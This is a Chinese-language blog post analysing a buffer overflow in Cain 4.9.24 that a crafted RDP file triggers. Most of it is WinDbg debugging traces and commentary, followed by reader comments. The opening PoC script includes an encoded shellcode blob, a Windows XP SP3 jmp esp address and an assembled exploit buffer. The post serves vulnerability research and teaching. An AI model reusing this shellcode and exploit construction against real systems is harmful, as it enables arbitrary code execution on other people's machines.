作者:k0shl 转载请注明出处
漏洞说明
软件下载:
Cain 4.9.24版本
PoC:
#!/usr/bin/python
#coding:utf-8
#poc仅供验证,如果有需要可以替换成exploit
shellcode =("\x29\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x19"
"\xc5\xd8\x59\x83\xeb\xfc\xe2\xf4\xe5\x2d\x9c\x59\x19\xc5\x53\x1c"
"\x25\x4e\xa4\x5c\x61\xc4\x37\xd2\x56\xdd\x53\x06\x39\xc4\x33\x10"
"\x92\xf1\x53\x58\xf7\xf4\x18\xc0\xb5\x41\x18\x2d\x1e\x04\x12\x54"
"\x18\x07\x33\xad\x22\x91\xfc\x5d\x6c\x20\x53\x06\x3d\xc4\x33\x3f"
"\x92\xc9\x93\xd2\x46\xd9\xd9\xb2\x92\xd9\x53\x58\xf2\x4c\x84\x7d"
"\x1d\x06\xe9\x99\x7d\x4e\x98\x69\x9c\x05\xa0\x55\x92\x85\xd4\xd2"
"\x69\xd9\x75\xd2\x71\xcd\x33\x50\x92\x45\x68\x59\x19\xc5\x53\x31"
"\x25\x9a\xe9\xaf\x79\x93\x51\xa1\x9a\x05\xa3\x09\x71\x35\x52\x5d"
"\x46\xad\x40\xa7\x93\xcb\x8f\xa6\xfe\xa6\xb9\x35\x7a\xeb\xbd\x21"
"\x7c\xc5\xd8\x59")
addr = "\xb5\xb5\xfd\x7f"
overflow = "\x41" * 8206
overflow2 = "\x41" * 255
eip = "\xd7\x30\x9d\x7c" # WINDOWS XP SP3: 0x7c9d30d7 jmp esp (shell32dll)
exploit = overflow+eip+addr+overflow2+shellcode
poc = "\x41"*8600
f = open("cain_poc.rdp","w")
f.write(poc)
print "[+]Create File OK"
f.close()
测试环境:
Cain 4.9.24
Windows xp sp3
Windbg
IDA pro
通过PoC生成一个RDP文件,通过Cain打开RDP文件解密,触发漏洞
漏洞复现
这个远程溢出漏洞分析很不容易,因为IDA没法识别这个Cain,可能毕竟这是一个黑客工具,防护做的比较好,所以我是直接从Windbg强行逆向分析的,挺累的,不多说了,这个漏洞的原因是Cain在加载rdp文件进行解密分析的时候,由于对加载的字符串没有做长度检查而是直接拷贝,从而导致了某个关键指针被覆盖,导致后续执行SetWindowText函数的时候将覆盖的指针直接传入,从而导致了任意代码执行。
首先打开rdp文件,触发漏洞,Cain崩溃,附加Windbg调试器。
(4f0.6d8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=00000000 ecx=7c832668 edx=41414142 esi=0017df80 edi=00000001
eip=77d3c1f9 esp=0012bccc ebp=0012bccc iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\windows\system32
\USER32.dll -
USER32!IsCharLowerA+0x970:
77d3c1f9 8a08 mov cl,byte ptr [eax] ds:0023:41414141=??
可以看到此时eax是一个无效的地址,也就是引用了无效指针,接下来按G直接执行。
0:000> g
(7cc.7c4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=41414141 edx=7c9232bc esi=00000000 edi=00000000
eip=41414141 esp=0012b8d0 ebp=0012b8f0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
41414141 ?? ???
应该是触发了SEH,到达了漏洞位置,通过kb看一下堆栈调用情况。
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0012bccc 77d37688 41414141 00000001 00a15670 USER32!IsCharLowerA+0x970
0012bcf0 77d37625 0017df80 41414141 0012bdd4 USER32!IsCharUpperA+0x60a
0012bd28 77d32ff4 00a15670 0000000c 00000000 USER32!IsCharUpperA+0x5a7
0012bd4c 77d3b440 00a15670 0000000c 00000000 USER32!DrawFrame+0x630
0012bd6c 77d18734 00030682 0000000c 00000000 USER32!DialogBoxParamA+0x2fc
0012bd98 77d18816 77d3b3ec 00030682 0000000c USER32!GetDC+0x6d
0012be00 77d2927b 00000000 77d3b3ec 00030682 USER32!GetDC+0x14f
0012be3c 77d2f598 00a15670 00a222d8 00000000 USER32!GetParent+0x16c
*** WARNING: Unable to verify checksum for C:\Documents and Settings\Administrator\桌面
\cain_ha\Cain4.9\svchost.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Documents and
Settings\Administrator\桌面\cain_ha\Cain4.9\svchost.exe
0012be5c 005ba4f5 00030682 41414141 0046d442 USER32!SetWindowTextA+0x2d
0012be68 0046d442 41414141 0012f680 0012f680 svchost+0x1ba4f5
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\windows\system32
\kernel32.dll -
0012bea4 7c809414 0000007e 00000000 0012c338 svchost+0x6d442
这里我们关系005b4f5前的调用,可以看到这个地址的调用,和之前0046d442位置调用第一个参数已经是畸形字符串了,那么这里参数可能是一处指针,而这个再往前就是系统调用了,那么就从这里入手,回溯分析。
漏洞分析
回溯过程不多说了,就是在0046d442位置下断点,通过回溯发现漏洞就出在0046d442地址的call调用所处的函数中,通过Windbg找到函数入口点,下断点开始跟踪调试。PS:由于无法用IDA跟踪,所以没法通过伪代码来描述,全程是汇编描述。
0:001> bp 0046d1e0
Breakpoint 0 hit
eax=00000001 ebx=00000001 ecx=0012f670 edx=02bd7548 esi=0012f670 edi=0012f670
eip=0046d1e0 esp=0012eebc ebp=0012f0e0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
svchost+0x6d1e0:
0046d1e0 6aff push 0FFFFFFFFh
下断点后,打开rdp文件,到达函数入口点,开始单步跟踪。
0:000> dd esp+3060
0012eeb4 005e2e7d 00000003 0046d18d 02bd7548
0012eec4 00600298 02bd7548 02bd7548 0062cd10
0012eed4 00000001 00000000 00000000 00000000
0012eee4 00000001 00000000 00000000 00000000
0012eef4 00000000 77d3e577 00000000 00000000
0012ef04 00000000 00000000 00007004 00000000
0012ef14 00000000 00000000 00000000 00000000
0012ef24 00000000 00000000 0000004c 00200696
0:000> p
eax=00000000 ebx=00000000 ecx=0012ceb0 edx=02bd6080 esi=0012f670 edi=0012eeb0
eip=0046d28d esp=0012be4c ebp=02bd6060 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
svchost+0x6d28d:
0046d28d e8f8f11100 call svchost+0x18c48a (0058c48a)
0:000> p
eax=0012ceb0 ebx=00000000 ecx=02bd6060 edx=02bd6080 esi=0012f670 edi=0012eeb0
eip=0046d292 esp=0012be4c ebp=02bd6060 iopl=0 nv up ei ng nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000296
svchost+0x6d292:
0046d292 83c418 add esp,18h
0:000> dd esp+3060
0012eeac 41414141 41414141 41414141 41414141
0012eebc 41414141 41414141 41414141 41414141
0012eecc 41414141 41414141 41414141 41414141
0012eedc 41414141 41414141 41414141 41414141
0012eeec 41414141 41414141 41414141 41414141
0012eefc 41414141 41414141 41414141 41414141
0012ef0c 41414141 41414141 41414141 41414141
0012ef1c 41414141 41414141 41414141 41414141
单步跟踪时,发现在0046d28d位置有一处call调用,在这个call调用步过之后,esp+3060这个位置会被大量的41414141覆盖,为什么是这个位置是在我回溯的过程中发现的,后续会讲到。
那么0046d28d位置的call调用就是引发漏洞的一处关键,call之前该位置还是正常的情况。
接下来在这个call调用下断点,重新开始,到达这里,步进函数。
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=0012ceb4 edx=02bd60a0 esi=0012f674 edi=0012eeb4
eip=0046d28d esp=0012be50 ebp=02bd6080 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
svchost+0x6d28d:
0046d28d e8f8f11100 call svchost+0x18c48a (0058c48a)
0:000> t
eax=00000000 ebx=00000000 ecx=0012ceb4 edx=02bd60a0 esi=0012f674 edi=0012eeb4
eip=0058c48a esp=0012be4c ebp=02bd6080 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
svchost+0x18c48a:
0058c48a 55 push ebp
0:000> dd esp+3060
0012eeac 00000000 00000000 0012f0cc 005e2e7d
0012eebc 00000003 0046d18d 02bd7568 00600298
0012eecc 02bd7568 02bd7568 0062cd10 00000001
0012eedc 00000000 00000000 00000000 00000001
0012eeec 00000000 00000000 00000000 00000000
0012eefc 77d3e577 00000000 00000000 00000000
0012ef0c 00000000 00007004 00000000 00000000
0012ef1c 00000000 00000000 00000000 00000000
步入后一切正常,接下来在函数中单步调试,会发现到达一处循环。
0:000> p
eax=00004141 ebx=00000000 ecx=02bd6080 edx=00000009 esi=0012ceb6 edi=0012ceb4
eip=0058c4bd esp=0012be40 ebp=0012be48 iopl=0 nv up ei ng nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000297
svchost+0x18c4bd:
0058c4bd 740d je svchost+0x18c4cc (0058c4cc) [br=0]
0:000> p
eax=00004141 ebx=00000000 ecx=02bd6080 edx=00000009 esi=0012ceb6 edi=0012ceb4
eip=0058c4bf esp=0012be40 ebp=0012be48 iopl=0 nv up ei ng nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000297
svchost+0x18c4bf:
0058c4bf 668906 mov word ptr [esi],ax ds:0023:0012ceb6=0000
0:000> p
eax=00004141 ebx=00000000 ecx=02bd6080 edx=00000009 esi=0012ceb6 edi=0012ceb4
eip=0058c4c2 esp=0012be40 ebp=0012be48 iopl=0 nv up ei ng nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000297
svchost+0x18c4c2:
0058c4c2 46 inc esi
0:000> p
eax=00004141 ebx=00000000 ecx=02bd6080 edx=00000009 esi=0012ceb7 edi=0012ceb4
eip=0058c4c3 esp=0012be40 ebp=0012be48 iopl=0 nv up ei pl nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000207
svchost+0x18c4c3:
0058c4c3 46 inc esi
0:000> p
eax=00004141 ebx=00000000 ecx=02bd6080 edx=00000009 esi=0012ceb8 edi=0012ceb4
eip=0058c4c4 esp=0012be40 ebp=0012be48 iopl=0 nv up ei pl nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000207
svchost+0x18c4c4:
0058c4c4 663d0a00 cmp ax,0Ah
0:000> p
eax=00004141 ebx=00000000 ecx=02bd6080 edx=00000009 esi=0012ceb8 edi=0012ceb4
eip=0058c4c8 esp=0012be40 ebp=0012be48 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
svchost+0x18c4c8:
0058c4c8 740a je svchost+0x18c4d4 (0058c4d4) [br=0]
0:000> p
eax=00004141 ebx=00000000 ecx=02bd6080 edx=00000009 esi=0012ceb8 edi=0012ceb4
eip=0058c4ca esp=0012be40 ebp=0012be48 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
svchost+0x18c4ca:
0058c4ca ebdb jmp svchost+0x18c4a7 (0058c4a7)
0:000> p
eax=00004141 ebx=00000000 ecx=02bd6080 edx=00000009 esi=0012ceb8 edi=0012ceb4
eip=0058c4a7 esp=0012be40 ebp=0012be48 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
svchost+0x18c4a7:
0058c4a7 ff4d0c dec dword ptr [ebp+0Ch] ss:0023:0012be54=00001ffe
0:000> p
eax=00004141 ebx=00000000 ecx=02bd6080 edx=00000009 esi=0012ceb8 edi=0012ceb4
eip=0058c4aa esp=0012be40 ebp=0012be48 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
svchost+0x18c4aa:
0058c4aa 7428 je svchost+0x18c4d4 (0058c4d4) [br=0]
这处循环要关注刚开始的mov [esi],ax的操作,同时看一下ax的内容,ax就是eax的低地址位置,观察循环可以看到这里是4141,也就是说,是rdp文件的畸形内容,这处循环是一处拷贝,也就是这里拷贝过程,没有控制长度,之前也没有检查,导致了超长串覆盖。
随后执行完毕后,esp+3060已经被覆盖,通过poc也可以知道,长度至少是8600字节,一定是会覆盖上的。
函数返回后继续单步跟踪。
Breakpoint 1 hit
eax=00000000 ebx=00000000 ecx=00685428 edx=02bd6080 esi=0012f670 edi=0012eeb0
eip=0046d424 esp=0012be60 ebp=02bd6060 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
svchost+0x6d424:
0046d424 8b8c2460300000 mov ecx,dword ptr [esp+3060h] ss:0023:0012eec0=41414141
0:000> p
eax=00000000 ebx=00000000 ecx=41414141 edx=02bd6080 esi=0012f670 edi=0012eeb0
eip=0046d42b esp=0012be60 ebp=02bd6060 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
svchost+0x6d42b:
0046d42b 83c404 add esp,4
到达0046d424的时候会发现,这里执行了一处指针传递,将esp+3060交给ecx保存,步过后可以看到ecx已经变成了41414141,那么接下来,看一下windbg的执行过程。
0046d424 8b8c2460300000 mov ecx,dword ptr [esp+3060h]
0046d42b 83c404 add esp,4
0046d42e 51 push ecx
0046d42f 6835040000 push 435h
0046d434 8bce mov ecx,esi
0046d436 e856cf1400 call svchost+0x1ba391 (005ba391)
0046d43b 8bc8 mov ecx,eax
0046d43d e89fd01400 call svchost+0x1ba4e1 (005ba4e1)
可以看到之后,ecx会作为参数压栈,执行0046d436的call调用,随后到达漏洞函数0046d43d,到达这里时,传入的第一个参数指针已经是问题指针了。
0:000> bp 0046d43d
0:000> g
Breakpoint 2 hit
eax=0272b4f8 ebx=00000000 ecx=0272b4f8 edx=02bd5d78 esi=0012f670 edi=0012eeb0
eip=0046d43d esp=0012be60 ebp=02bd6060 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
svchost+0x6d43d:
0046d43d e89fd01400 call svchost+0x1ba4e1 (005ba4e1)
0:000> dd esp
0012be60 41414141 0012f670 0012f670 0012f0e0
0012be70 00000001 00684288 00684288 00684288
0012be80 00684288 00000000 00000000 0012f670
0012be90 0012bec0 7c92f63c 7c92f641 c0000135
0012bea0 00000000 001b7b40 0012be9c 00000042
可以看到esp第一个值已经是41414141,接下来进入函数处理。
0:000> p
eax=00000000 ebx=00000000 ecx=0272b4f8 edx=02bd5d78 esi=0012f670 edi=0012eeb0
eip=005ba4e8 esp=0012be5c ebp=02bd6060 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
svchost+0x1ba4e8:
005ba4e8 ff742404 push dword ptr [esp+4] ss:0023:0012be60=41414141
0:000> p
eax=00000000 ebx=00000000 ecx=0272b4f8 edx=02bd5d78 esi=0012f670 edi=0012eeb0
eip=005ba4ec esp=0012be58 ebp=02bd6060 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
svchost+0x1ba4ec:
005ba4ec ff711c push dword ptr [ecx+1Ch] ds:0023:0272b514=001505e4
0:000> p
eax=00000000 ebx=00000000 ecx=0272b4f8 edx=02bd5d78 esi=0012f670 edi=0012eeb0
eip=005ba4ef esp=0012be54 ebp=02bd6060 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
svchost+0x1ba4ef:
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\windows\system32
\USER32.dll -
005ba4ef ff15f0c65f00 call dword ptr [svchost+0x1fc6f0 (005fc6f0)] ds:0023:005fc6f0={USER32!
SetWindowTextA (77d2f56b)}
0:000> p
(11c.45c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=00000000 ecx=7c832668 edx=41414142 esi=0017df78 edi=00000001
eip=77d3c1f9 esp=0012bcbc ebp=0012bcbc iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
USER32!IsCharLowerA+0x970:
77d3c1f9 8a08 mov cl,byte ptr [eax] ds:0023:41414141=??
可以看到,在函数内部005ba4ef地址调用了系统函数,而这个系统函数的第二个参数,是41414141,因此,引发了漏洞,导致程序进入SEH异常处理,通过SEH指针覆盖,导致任意代码执行漏洞。
你好k0,打扰了,请问为什么我bp 004778e2,然后打开rdp文件,结果还是直接跳到漏洞位置,并没有中断在004778e2这个位置。。。。。。。求解啊,下面是堆栈调用情况
*** WARNING: Unable to verify checksum for C:\w0khl_softs\Cain\Cain\Cain.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\w0khl_softs\Cain\Cain\Cain.exe
0012be64 005f6bbf 001605a2 41414141 004778e2 USER32!SetWindowTextA+0x34
WARNING: Stack unwind information not available. Following frames may be wrong.
0012be70 004778e2 41414141 0012f688 0012f688 Cain+0x1f6bbf
0012bea8 7c910021 00140a48 7c91003d 00000000 Cain+0x778e2
@b00t 0x004778e2在栈中保存的是返回地址,也就是call函数的下一个地址,在这里下断点肯定是不能命中的,建议用IDA逆向,然后找到0x004778e2这个地址对应的位置,在这条汇编指令的上面应该是一个call调用,在那个call调用下断点就可以命中了。
@k0shl 谢谢K0,你博客的分析文章真的太棒了,学到了好多